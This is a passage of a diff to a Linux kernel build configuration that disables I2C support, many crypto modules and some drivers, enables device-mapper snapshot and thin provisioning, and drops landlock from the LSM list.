CONFIG_EEPROM_AT24 is not set -# CONFIG_EEPROM_LEGACY is not set -# CONFIG_EEPROM_MAX6875 is not set -CONFIG_EEPROM_93CX6=m -# CONFIG_EEPROM_IDT_89HPESX is not set -# CONFIG_EEPROM_EE1004 is not set +# CONFIG_EEPROM_93CX6 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1114,11 +1104,12 @@ CONFIG_EEPROM_93CX6=m # # end of Texas Instruments shared transport line discipline -# CONFIG_SENSORS_LIS3_I2C is not set -# CONFIG_ALTERA_STAPL is not set -CONFIG_INTEL_MEI=m -CONFIG_INTEL_MEI_ME=m -CONFIG_INTEL_MEI_TXE=m +# +# Altera FPGA firmware download module (requires I2C) +# +# CONFIG_INTEL_MEI is not set +# CONFIG_INTEL_MEI_ME is not set +# CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set @@ -1222,7 +1213,7 @@ CONFIG_ISCSI_TCP=y CONFIG_ATA=y CONFIG_SATA_HOST=y CONFIG_PATA_TIMINGS=y -CONFIG_ATA_VERBOSE_ERROR=y +# CONFIG_ATA_VERBOSE_ERROR is not set CONFIG_ATA_FORCE=y CONFIG_ATA_ACPI=y CONFIG_SATA_PMP=y @@ -1246,10 +1237,12 @@ CONFIG_BLK_DEV_DM=y # CONFIG_DM_DEBUG is not set CONFIG_DM_BUFIO=y # CONFIG_DM_DEBUG_BLOCK_MANAGER_LOCKING is not set +CONFIG_DM_BIO_PRISON=y +CONFIG_DM_PERSISTENT_DATA=y # CONFIG_DM_UNSTRIPED is not set CONFIG_DM_CRYPT=y -# CONFIG_DM_SNAPSHOT is not set -# CONFIG_DM_THIN_PROVISIONING is not set +CONFIG_DM_SNAPSHOT=y +CONFIG_DM_THIN_PROVISIONING=y # CONFIG_DM_CACHE is not set # CONFIG_DM_WRITECACHE is not set # CONFIG_DM_EBS is not set @@ -1488,26 +1481,14 @@ CONFIG_INPUT_VIVALDIFMAP=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y -# CONFIG_KEYBOARD_ADP5588 is not set -# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y -# CONFIG_KEYBOARD_QT1050 is not set -# CONFIG_KEYBOARD_QT1070 is not set -# CONFIG_KEYBOARD_QT2160 is not set -# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set -# CONFIG_KEYBOARD_TCA6416 is not set -# CONFIG_KEYBOARD_TCA8418 is not set -# CONFIG_KEYBOARD_LM8333 is not set -# CONFIG_KEYBOARD_MAX7359 is not set -# CONFIG_KEYBOARD_MCS is not set -# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_SAMSUNG is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set -# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1574,13 +1555,13 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set -# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set # CONFIG_SERIAL_RP2 is not set # CONFIG_SERIAL_FSL_LPUART is not set # CONFIG_SERIAL_FSL_LINFLEXUART is not set +# CONFIG_SERIAL_SPRD is not set # end of Serial drivers # CONFIG_SERIAL_NONSTANDARD is not set @@ -1592,13 +1573,12 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set -# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y -CONFIG_HW_RANDOM_TIMERIOMEM=m +# CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y -CONFIG_HW_RANDOM_AMD=m +# CONFIG_HW_RANDOM_AMD is not set # CONFIG_HW_RANDOM_BA431 is not set -CONFIG_HW_RANDOM_VIA=m +# CONFIG_HW_RANDOM_VIA is not set # CONFIG_HW_RANDOM_XIPHERA is not set # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set @@ -1611,17 +1591,11 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y -# CONFIG_TCG_TIS_I2C is not set -# CONFIG_TCG_TIS_I2C_CR50 is not set -# CONFIG_TCG_TIS_I2C_ATMEL is not set -# CONFIG_TCG_TIS_I2C_INFINEON is not set -# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set -# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set @@ -1632,96 +1606,7 @@ CONFIG_RANDOM_TRUST_CPU=y # # I2C support # -CONFIG_I2C=y -CONFIG_ACPI_I2C_OPREGION=y -CONFIG_I2C_BOARDINFO=y -# CONFIG_I2C_COMPAT is not set -# CONFIG_I2C_CHARDEV is not set -CONFIG_I2C_MUX=m - -# -# Multiplexer I2C Chip support -# -# CONFIG_I2C_MUX_LTC4306 is not set -CONFIG_I2C_MUX_PCA9541=m -CONFIG_I2C_MUX_REG=m -# CONFIG_I2C_MUX_MLXCPLD is not set -# end of Multiplexer I2C Chip support - -# CONFIG_I2C_HELPER_AUTO is not set -# CONFIG_I2C_SMBUS is not set - -# -# I2C Algorithms -# -CONFIG_I2C_ALGOBIT=y -# CONFIG_I2C_ALGOPCF is not set -# CONFIG_I2C_ALGOPCA is not set -# end of I2C Algorithms - -# -# I2C Hardware Bus support -# - -# -# PC SMBus host controller drivers -# -# CONFIG_I2C_ALI1535 is not set -# CONFIG_I2C_ALI1563 is not set -# CONFIG_I2C_ALI15X3 is not set -# CONFIG_I2C_AMD756 is not set -# CONFIG_I2C_AMD8111 is not set -# CONFIG_I2C_AMD_MP2 is not set -# CONFIG_I2C_I801 is not set -# CONFIG_I2C_ISCH is not set -# CONFIG_I2C_ISMT is not set -# CONFIG_I2C_PIIX4 is not set -# CONFIG_I2C_NFORCE2 is not set -# CONFIG_I2C_NVIDIA_GPU is not set -# CONFIG_I2C_SIS5595 is not set -# CONFIG_I2C_SIS630 is not set -# CONFIG_I2C_SIS96X is not set -# CONFIG_I2C_VIA is not set -# CONFIG_I2C_VIAPRO is not set - -# -# ACPI drivers -# -# CONFIG_I2C_SCMI is not set - -# -# I2C system bus drivers (mostly embedded / system-on-chip) -# -# CONFIG_I2C_DESIGNWARE_PCI is not set -# CONFIG_I2C_OCORES is not set -# CONFIG_I2C_PCA_PLATFORM is not set -# CONFIG_I2C_SIMTEC is not set -# CONFIG_I2C_XILINX is not set - -# -# External I2C/SMBus adapter drivers -# -# CONFIG_I2C_DIOLAN_U2C is not set -# CONFIG_I2C_CP2615 is not set -# CONFIG_I2C_PCI1XXXX is not set -# CONFIG_I2C_ROBOTFUZZ_OSIF is not set -# CONFIG_I2C_TAOS_EVM is not set -# CONFIG_I2C_TINY_USB is not set - -# -# Other I2C/SMBus bus drivers -# -# CONFIG_I2C_MLXCPLD is not set -# CONFIG_I2C_VIRTIO is not set -# end of I2C Hardware Bus support - -# CONFIG_I2C_STUB is not set -CONFIG_I2C_SLAVE=y -# CONFIG_I2C_SLAVE_EEPROM is not set -# CONFIG_I2C_SLAVE_TESTUNIT is not set -# CONFIG_I2C_DEBUG_CORE is not set -# CONFIG_I2C_DEBUG_ALGO is not set -# CONFIG_I2C_DEBUG_BUS is not set +# CONFIG_I2C is not set # end of I2C support # CONFIG_I3C is not set @@ -1748,29 +1633,13 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set -# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set -# CONFIG_CHARGER_ADP5061 is not set -# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set -# CONFIG_BATTERY_DS2782 is not set # CONFIG_BATTERY_SAMSUNG_SDI is not set -# CONFIG_BATTERY_SBS is not set -# CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set -# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set -# CONFIG_CHARGER_LP8727 is not set -# CONFIG_CHARGER_LTC4162L is not set -# CONFIG_CHARGER_MAX77976 is not set -# CONFIG_CHARGER_BQ2415X is not set -# CONFIG_BATTERY_GAUGE_LTC2941 is not set # CONFIG_BATTERY_GOLDFISH is not set -# CONFIG_BATTERY_RT5033 is not set -# CONFIG_CHARGER_BD99954 is not set -# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1815,81 +1684,25 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # -# CONFIG_MFD_AS3711 is not set -# CONFIG_PMIC_ADP5520 is not set -# CONFIG_MFD_BCM590XX is not set -# CONFIG_MFD_BD9571MWV is not set -# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set -# CONFIG_PMIC_DA903X is not set -# CONFIG_MFD_DA9052_I2C is not set -# CONFIG_MFD_DA9055 is not set -# CONFIG_MFD_DA9062 is not set -# CONFIG_MFD_DA9063 is not set -# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set -# CONFIG_MFD_MC13XXX_I2C is not set -# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set +# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set # CONFIG_MFD_INTEL_PMC_BXT is not set -# CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set -# CONFIG_MFD_88PM800 is not set -# CONFIG_MFD_88PM805 is not set -# CONFIG_MFD_88PM860X is not set -# CONFIG_MFD_MAX14577 is not set -# CONFIG_MFD_MAX77693 is not set -# CONFIG_MFD_MAX77843 is not set -# CONFIG_MFD_MAX8907 is not set -# CONFIG_MFD_MAX8925 is not set -# CONFIG_MFD_MAX8997 is not set -# CONFIG_MFD_MAX8998 is not set -# CONFIG_MFD_MT6360 is not set -# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set -# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set -# CONFIG_MFD_RETU is not set -# CONFIG_MFD_PCF50633 is not set -# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set -# CONFIG_MFD_RT4831 is not set -# CONFIG_MFD_RT5033 is not set -# CONFIG_MFD_RT5120 is not set -# CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set -# CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set -# CONFIG_MFD_LP3943 is not set -# CONFIG_MFD_LP8788 is not set -# CONFIG_MFD_TI_LMU is not set -# CONFIG_MFD_PALMAS is not set -# CONFIG_TPS6105X is not set -# CONFIG_TPS6507X is not set -# CONFIG_MFD_TPS65086 is not set -# CONFIG_MFD_TPS65090 is not set -# CONFIG_MFD_TI_LP873X is not set -# CONFIG_MFD_TPS6586X is not set -# CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_TWL4030_CORE is not set -# CONFIG_TWL6040_CORE is not set -# CONFIG_MFD_WL1273_CORE is not set -# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set -# CONFIG_MFD_ARIZONA_I2C is not set -# CONFIG_MFD_WM8400 is not set -# CONFIG_MFD_WM831X_I2C is not set -# CONFIG_MFD_WM8350_I2C is not set -# CONFIG_MFD_WM8994 is not set -# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -1943,7 +1756,7 @@ CONFIG_FB_CFB_IMAGEBLIT=y # CONFIG_FB_ASILIANT is not set # CONFIG_FB_IMSTT is not set # CONFIG_FB_VGA16 is not set -CONFIG_FB_VESA=y +# CONFIG_FB_VESA is not set CONFIG_FB_EFI=y # CONFIG_FB_N411 is not set # CONFIG_FB_HGA is not set @@ -1983,7 +1796,10 @@ CONFIG_FB_EFI=y # Backlight & LCD device support # # CONFIG_LCD_CLASS_DEVICE is not set -# CONFIG_BACKLIGHT_CLASS_DEVICE is not set +CONFIG_BACKLIGHT_CLASS_DEVICE=y +# CONFIG_BACKLIGHT_APPLE is not set +# CONFIG_BACKLIGHT_QCOM_WLED is not set +# CONFIG_BACKLIGHT_SAHARA is not set # end of Backlight & LCD device support # @@ -1995,7 +1811,7 @@ CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y -# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set +CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set # end of Console display driver support @@ -2117,12 +1933,6 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support -# -# I2C HID support -# -# CONFIG_I2C_HID_ACPI is not set -# end of I2C HID support - # # Intel ISH HID support # @@ -2174,10 +1984,8 @@ CONFIG_USB_EHCI_HCD_PLATFORM=m # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set # CONFIG_USB_FOTG210_HCD is not set -CONFIG_USB_OHCI_HCD=m -CONFIG_USB_OHCI_HCD_PCI=m -# CONFIG_USB_OHCI_HCD_PLATFORM is not set -CONFIG_USB_UHCI_HCD=m +# CONFIG_USB_OHCI_HCD is not set +# CONFIG_USB_UHCI_HCD is not set # CONFIG_USB_SL811_HCD is not set # CONFIG_USB_R8A66597_HCD is not set # CONFIG_USB_HCD_TEST_MODE is not set @@ -2256,9 +2064,6 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set -# CONFIG_USB_HUB_USB251XB is not set -# CONFIG_USB_HSIC_USB3503 is not set -# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2266,7 +2071,6 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set -# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -2302,47 +2106,14 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # -# CONFIG_RTC_DRV_ABB5ZES3 is not set -# CONFIG_RTC_DRV_ABEOZ9 is not set -# CONFIG_RTC_DRV_ABX80X is not set -# CONFIG_RTC_DRV_DS1307 is not set -# CONFIG_RTC_DRV_DS1374 is not set -# CONFIG_RTC_DRV_DS1672 is not set -# CONFIG_RTC_DRV_MAX6900 is not set -# CONFIG_RTC_DRV_RS5C372 is not set -# CONFIG_RTC_DRV_ISL1208 is not set -# CONFIG_RTC_DRV_ISL12022 is not set -# CONFIG_RTC_DRV_X1205 is not set -# CONFIG_RTC_DRV_PCF8523 is not set -# CONFIG_RTC_DRV_PCF85063 is not set -# CONFIG_RTC_DRV_PCF85363 is not set -# CONFIG_RTC_DRV_PCF8563 is not set -# CONFIG_RTC_DRV_PCF8583 is not set -# CONFIG_RTC_DRV_M41T80 is not set -# CONFIG_RTC_DRV_BQ32K is not set -# CONFIG_RTC_DRV_S35390A is not set -# CONFIG_RTC_DRV_FM3130 is not set -# CONFIG_RTC_DRV_RX8010 is not set -# CONFIG_RTC_DRV_RX8581 is not set -# CONFIG_RTC_DRV_RX8025 is not set -# CONFIG_RTC_DRV_EM3027 is not set -# CONFIG_RTC_DRV_RV3028 is not set -# CONFIG_RTC_DRV_RV3032 is not set -# CONFIG_RTC_DRV_RV8803 is not set -# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # -CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # -# CONFIG_RTC_DRV_DS3232 is not set -# CONFIG_RTC_DRV_PCF2127 is not set -# CONFIG_RTC_DRV_RV3029C2 is not set -# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2404,7 +2175,6 @@ CONFIG_SYNC_FILE=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set CONFIG_SURFACE_PLATFORMS=y -# CONFIG_SURFACE_3_POWER_OPREGION is not set # CONFIG_SURFACE_GPE is not set # CONFIG_SURFACE_PRO3_BUTTON is not set CONFIG_X86_PLATFORM_DEVICES=y @@ -2414,8 +2184,11 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_AMD_PMF is not set # CONFIG_AMD_PMC is not set # CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set # CONFIG_ASUS_WIRELESS is not set # CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_GPD_POCKET_FAN is not set # CONFIG_HP_ACCEL is not set @@ -2437,26 +2210,28 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set # end of Intel Uncore Frequency Control -# CONFIG_INTEL_HID_EVENT is not set -# CONFIG_INTEL_VBTN is not set # CONFIG_INTEL_PUNIT_IPC is not set # CONFIG_INTEL_RST is not set # CONFIG_INTEL_SMARTCONNECT is not set # CONFIG_INTEL_TURBO_MAX_3 is not set # CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set # CONFIG_TOSHIBA_BT_RFKILL is not set # CONFIG_TOSHIBA_HAPS is not set # CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set # CONFIG_TOPSTAR_LAPTOP is not set -# CONFIG_MLX_PLATFORM is not set # CONFIG_INTEL_IPS is not set # CONFIG_INTEL_SCU_PCI is not set # CONFIG_INTEL_SCU_PLATFORM is not set # CONFIG_SIEMENS_SIMATIC_IPC is not set # CONFIG_WINMATE_FM07_KEYS is not set # CONFIG_P2SB is not set -# CONFIG_COMMON_CLK is not set +CONFIG_HAVE_CLK=y +CONFIG_HAVE_CLK_PREPARE=y +CONFIG_COMMON_CLK=y +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2789,7 +2564,7 @@ CONFIG_HARDENED_USERCOPY=y # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set CONFIG_DEFAULT_SECURITY_DAC=y -CONFIG_LSM="landlock,lockdown,yama,loadpin,safesetid,integrity,bpf" +CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # # Kernel hardening options @@ -2829,14 +2604,12 @@ CONFIG_CRYPTO_HASH2=y CONFIG_CRYPTO_RNG=y CONFIG_CRYPTO_RNG2=y CONFIG_CRYPTO_AKCIPHER2=y -CONFIG_CRYPTO_AKCIPHER=m CONFIG_CRYPTO_KPP2=y CONFIG_CRYPTO_ACOMP2=y CONFIG_CRYPTO_MANAGER=y CONFIG_CRYPTO_MANAGER2=y CONFIG_CRYPTO_USER=y CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y -CONFIG_CRYPTO_GF128MUL=y CONFIG_CRYPTO_NULL=y CONFIG_CRYPTO_NULL2=y # CONFIG_CRYPTO_PCRYPT is not set @@ -2849,7 +2622,7 @@ CONFIG_CRYPTO_SIMD=y # # Public-key cryptography # -CONFIG_CRYPTO_RSA=m +# CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set # CONFIG_CRYPTO_ECDSA is not set @@ -2861,43 +2634,35 @@ CONFIG_CRYPTO_RSA=m # # Block ciphers # -CONFIG_CRYPTO_AES=m +# CONFIG_CRYPTO_AES is not set # CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_ANUBIS=m # CONFIG_CRYPTO_ARIA is not set -CONFIG_CRYPTO_BLOWFISH=m -CONFIG_CRYPTO_BLOWFISH_COMMON=m -CONFIG_CRYPTO_CAMELLIA=m -CONFIG_CRYPTO_CAST_COMMON=m -CONFIG_CRYPTO_CAST5=m -CONFIG_CRYPTO_CAST6=m +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set # CONFIG_CRYPTO_DES is not set -CONFIG_CRYPTO_FCRYPT=m -CONFIG_CRYPTO_KHAZAD=m -CONFIG_CRYPTO_SEED=m -CONFIG_CRYPTO_SERPENT=m +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set # CONFIG_CRYPTO_SM4_GENERIC is not set -CONFIG_CRYPTO_TEA=m -CONFIG_CRYPTO_TWOFISH=m -CONFIG_CRYPTO_TWOFISH_COMMON=m +# CONFIG_CRYPTO_TWOFISH is not set # end of Block ciphers # # Length-preserving ciphers and modes # # CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ARC4=m -CONFIG_CRYPTO_CHACHA20=m +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set -CONFIG_CRYPTO_CTR=m -CONFIG_CRYPTO_CTS=m +# CONFIG_CRYPTO_CTR is not set +# CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y # CONFIG_CRYPTO_HCTR2 is not set -CONFIG_CRYPTO_KEYWRAP=m -CONFIG_CRYPTO_LRW=y +# CONFIG_CRYPTO_KEYWRAP is not set +# CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set -CONFIG_CRYPTO_PCBC=m +# CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y # end of Length-preserving ciphers and modes @@ -2905,9 +2670,9 @@ CONFIG_CRYPTO_XTS=y # AEAD (authenticated encryption with associated data) ciphers # # CONFIG_CRYPTO_AEGIS128 is not set -CONFIG_CRYPTO_CHACHA20POLY1305=m -CONFIG_CRYPTO_CCM=m -CONFIG_CRYPTO_GCM=m +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set # CONFIG_CRYPTO_SEQIV is not set # CONFIG_CRYPTO_ECHAINIV is not set CONFIG_CRYPTO_ESSIV=y @@ -2917,23 +2682,23 @@ CONFIG_CRYPTO_ESSIV=y # Hashes, digests, and MACs # # CONFIG_CRYPTO_BLAKE2B is not set -CONFIG_CRYPTO_CMAC=m -CONFIG_CRYPTO_GHASH=m +# CONFIG_CRYPTO_CMAC is not set +# CONFIG_CRYPTO_GHASH is not set CONFIG_CRYPTO_HMAC=y -CONFIG_CRYPTO_MD4=m +# CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y -CONFIG_CRYPTO_MICHAEL_MIC=m -CONFIG_CRYPTO_POLY1305=m -CONFIG_CRYPTO_RMD160=m +# CONFIG_CRYPTO_MICHAEL_MIC is not set +# CONFIG_CRYPTO_POLY1305 is not set +# CONFIG_CRYPTO_RMD160 is not set CONFIG_CRYPTO_SHA1=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set # CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -CONFIG_CRYPTO_VMAC=m -CONFIG_CRYPTO_WP512=m -CONFIG_CRYPTO_XCBC=m +# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_WP512 is not set +# CONFIG_CRYPTO_XCBC is not set # CONFIG_CRYPTO_XXHASH is not set # end of Hashes, digests, and MACs @@ -2941,25 +2706,25 @@ CONFIG_CRYPTO_XCBC=m # CRCs (cyclic redundancy checks) # CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32=m -CONFIG_CRYPTO_CRCT10DIF=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set # end of CRCs (cyclic redundancy checks) # # Compression # -CONFIG_CRYPTO_DEFLATE=m -CONFIG_CRYPTO_LZO=y -CONFIG_CRYPTO_842=m -CONFIG_CRYPTO_LZ4=m -CONFIG_CRYPTO_LZ4HC=m +# CONFIG_CRYPTO_DEFLATE is not set +# CONFIG_CRYPTO_LZO is not set +# CONFIG_CRYPTO_842 is not set +# CONFIG_CRYPTO_LZ4 is not set +# CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set # end of Compression # # Random number generation # -CONFIG_CRYPTO_ANSI_CPRNG=m +# CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set # end of Random number generation @@ -2972,7 +2737,7 @@ CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y -CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y +# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set # end of Userspace interface @@ -2983,37 +2748,36 @@ CONFIG_CRYPTO_HASH_INFO=y # # CONFIG_CRYPTO_CURVE25519_X86 is not set CONFIG_CRYPTO_AES_NI_INTEL=y -CONFIG_CRYPTO_BLOWFISH_X86_64=m -CONFIG_CRYPTO_CAMELLIA_X86_64=m -CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=m -CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=m -CONFIG_CRYPTO_CAST5_AVX_X86_64=m -CONFIG_CRYPTO_CAST6_AVX_X86_64=m -CONFIG_CRYPTO_DES3_EDE_X86_64=m -CONFIG_CRYPTO_SERPENT_SSE2_X86_64=m -CONFIG_CRYPTO_SERPENT_AVX_X86_64=m -CONFIG_CRYPTO_SERPENT_AVX2_X86_64=m +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set # CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set # CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set -CONFIG_CRYPTO_TWOFISH_X86_64=m -CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=m -CONFIG_CRYPTO_TWOFISH_AVX_X86_64=m +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set # CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set -CONFIG_CRYPTO_CHACHA20_X86_64=m +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set # CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set # CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set # CONFIG_CRYPTO_BLAKE2S_X86 is not set # CONFIG_CRYPTO_POLYVAL_CLMUL_NI is not set -CONFIG_CRYPTO_POLY1305_X86_64=m +# CONFIG_CRYPTO_POLY1305_X86_64 is not set CONFIG_CRYPTO_SHA1_SSSE3=y CONFIG_CRYPTO_SHA256_SSSE3=y CONFIG_CRYPTO_SHA512_SSSE3=y # CONFIG_CRYPTO_SM3_AVX_X86_64 is not set -CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=m +# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not 